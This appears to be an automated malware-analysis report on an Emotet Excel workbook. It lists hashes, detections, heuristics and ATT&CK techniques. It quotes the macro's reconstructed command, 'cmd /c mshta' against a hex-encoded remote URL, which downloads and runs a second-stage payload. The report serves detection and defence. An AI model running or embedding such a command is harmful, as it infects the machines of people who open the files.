Emotet Office (OLE) / .XLSX malware analysis — malicious · 8544b5801a4f8d2d

MALICIOUS

Office (OLE) / .XLSX

128.5 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel

MD5: 61a156a2af421b9eddf2a31bf6a93627 SHA-1: be96cec3fa5f522ee6a2827189cb92d99914217a SHA-256: 8544b5801a4f8d2ded0d3f5fb5aaca099619c047f3064650e9871d613d4038d1

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted macro script reconstructs the command 'cmd /c mshta http://0xc12a24f5/cc.html', indicating the macro's purpose is to download and execute a second-stage payload from the specified URL. This is a common delivery mechanism for Emotet.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	653 bytes

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